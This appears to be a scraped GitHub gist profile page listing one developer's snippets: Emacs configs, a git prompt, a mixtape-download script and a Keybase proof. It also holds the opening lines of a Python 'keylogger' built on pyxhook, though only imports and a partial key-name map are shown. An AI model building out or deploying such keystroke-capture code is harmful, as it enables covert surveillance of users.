Skip to content

Instantly share code, notes, and snippets.

Avatar

leshy

View GitHub Profile
View keybase.md

Keybase proof

I hereby claim:

  • I am leshy on github.
  • I am lesh (https://keybase.io/lesh) on keybase.
  • I have a public key whose fingerprint is 5E79 D2A9 2462 8020 DD4B 9A46 5E00 9023 46BB 19B9

To claim this, I am signing this object:

@leshy
leshy / keylogger.py
Created Mar 10, 2012
pyxhook simple crappy keylogger
View keylogger.py
#!/usr/bin/python
import pyxhook
import time
keymap = { 'apostrophe': "'",
'comma': ",",
'period': ".",
'space': " ",
'quotedbl': '"',
'Return': '\n',
View f.py
# class dict does internally what next example does explicitly (builds a dict of { cls.__name__ : cls }
return f.map_keys(
arg(last, call('lower')), # equivalent to next example lambda
f.class_dict(
common.service.RestartableService.__subclasses__(),
common.service.Service.__subclasses__()
)).get(service_name.lower())
# list comprehension, but utilizing map_keys
@leshy
leshy / slime-livescript.el
Last active Sep 29, 2017
emacs slime livescript
View slime-livescript.el
(defun livescript-compile-region-emacs ()
(interactive)
(save-excursion
(setq livescript-args-compile '("-c" "--no-header" "--bare"))
(if (equal mark-active nil) (mark-whole-buffer))
(livescript-compile-region (point) (mark))
(deactivate-mark)
(setq livescript-args-compile '("-c" "--no-header" "-m" "embedded")))
)
View supercollider.el
(require 'sclang)
(add-to-list 'auto-mode-alist '("\\.sc$" . sclang-mode))
(add-to-list 'auto-mode-alist '("\\.sclang$" . sclang-mode))
(add-hook 'sclang-mode-hook
(lambda () (progn
(local-set-key (kbd "C-q C-e") 'sclang-eval-region)
(local-set-key (kbd "C-q C-c") 'sclang-eval-region)
(local-set-key (kbd "C-q C-s") 'sclang-server-free-all)
View colorpicker2.el
(load-file "~/emacs/el/lesh/colorpicker/colorpicker.el")
(defun xah-syntax-color-hex ()
"Syntax color hex color spec such as 「 #FF1100 」 in current buffer."
(interactive)
(font-lock-add-keywords
nil
'(("#[abcdefABCDEF[:digit:]]\\{6\\}"
(0 (put-text-property
(+ (match-beginning 0) 1)
View dljwz.sh
#!/bin/bash
# downloads all mp3 jwz mixtapes (1-75)
for i in `seq -f "%03g" 1 75`;
do
URL="https://archive.org/compress/jwz-mixtape-$i/formats=VBR%20MP3&file=/jwz-mixtape-$i.zip"
echo $URL
wget -c $URL
done
for z in *.zip
View flycheck-livescript.el
;flycheck livescript
(flycheck-define-checker livescript
"A Livescript syntax checker using livescript.
See URL `http://livescript.net/'."
:command ("livescript" "--compile" "--print" "--stdin")
:standard-input t
:error-patterns
((error line-start "[" (message) "on line " line "]" line-end))
:modes livescript-mode)
@leshy
leshy / ai.md
Created Nov 8, 2012
answer to some questions about hard ai and rights
View ai.md
@leshy
leshy / prompt.sh
Created Jun 5, 2012
fancy git bash prompt
View prompt.sh
function parse_git_branch {
git branch --no-color 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/\1/'
}
function git_repo_name {
basename $(git rev-parse --show-toplevel)
}
function git_status {
You can’t perform that action at this time.